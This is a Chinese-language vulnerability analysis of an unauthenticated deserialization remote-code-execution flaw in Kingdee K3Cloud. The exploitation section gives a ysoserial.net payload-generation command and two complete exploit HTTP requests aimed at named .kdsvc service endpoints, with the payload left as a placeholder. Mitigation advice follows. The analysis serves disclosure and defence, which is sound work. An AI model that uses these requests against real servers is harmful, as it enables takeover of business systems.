金蝶星空云反序列化漏洞分析
字数 1323 2025-08-24 07:48:22
金蝶星空云反序列化漏洞分析与利用
漏洞概述
金蝶星空云(K3Cloud)存在一个反序列化漏洞,攻击者可以通过构造特定的HTTP请求,利用BinaryFormatter反序列化机制执行任意代码。该漏洞存在于多个服务端点,特别是以.kdsvc结尾的服务接口。
漏洞分析
漏洞触发路径
-
请求路由:所有以
.kdsvc结尾的请求都由Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler类处理。 -
请求处理流程:
- 请求进入
KDSVCHandler的ProcessRequest方法 - 调用
RequestExtractor.Create创建请求提取器 - 通过
JQueryRequestExtractor.GetNameValueCollection解析请求参数 - 使用
Deserialize方法对JSON数据进行反序列化
- 请求进入
-
关键反序列化点:
- 在
ExecuteServiceModule中调用SerializerProxy方法 - 根据
format参数选择序列化方式(format=3对应BinaryFormatter) - 最终在
BinaryFormatterProxy的Deserialize方法中执行反序列化
- 在
漏洞利用条件
- 必须包含
ap0参数(也可以是ap1或ap2,但不能更大) - 必须设置
format参数为3(对应BinaryFormatter) - 请求内容类型可以是:
text/jsonapplication/jsonmultipart/form-data(需注意特殊字符编码问题)
漏洞利用
利用工具
使用ysoserial.net生成Payload:
.\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"
利用数据包
方式一:使用DevReportService接口
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"[BASE64_PAYLOAD]",
"format":"3"
}
方式二:使用DynamicFormService接口
POST /k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Content-Type: text/json
Accept-Encoding: gzip, deflate
Content-Length: [LENGTH]
{
"ap0": "[BASE64_PAYLOAD]",
"format": "3"
}
其他可利用的服务端点
任何支持传入object对象、以.common.kdsvc结尾的服务端点都可能存在此漏洞,例如:
Kingdee.BOS.ServiceFacade.ServicesStub.*
防御措施
- 升级到最新版本的金蝶星空云
- 在Web服务器层面限制对
.kdsvc端点的访问 - 实现输入验证,过滤可疑的反序列化数据
- 使用更安全的序列化替代方案,如JSON.NET
技术细节
反序列化流程
-
请求进入
KDSVCHandler后,会解析服务类型:ServiceType serviceType = ServiceTypeManager.BuidServiceType(text3); -
通过反射加载服务程序集:
assembly = Assembly.Load("Kingdee.BOS.ServiceFacade.ServicesStub"); -
遍历服务方法查找匹配的方法:
assembly.GetTypes() -
根据
format参数选择序列化方式:switch (format) { case 3: // BinaryFormatter // 漏洞触发点 this.proxy.Deserialize(); break; // 其他case... }
漏洞限制
- 参数名必须是
ap0、ap1或ap2(根据参数长度决定) - 不能是基本类型(string、int、long、bool、DateTime等)的参数
参考
- 先知社区原文
- ActivitySurrogateSelector利用方式
- ysoserial.net工具使用
总结
该漏洞利用金蝶星空云服务接口的反序列化功能,通过精心构造的BinaryFormatter数据实现远程代码执行。由于影响多个服务端点且无需认证,危害较大。建议用户及时升级修复,并在网络层面做好防护措施。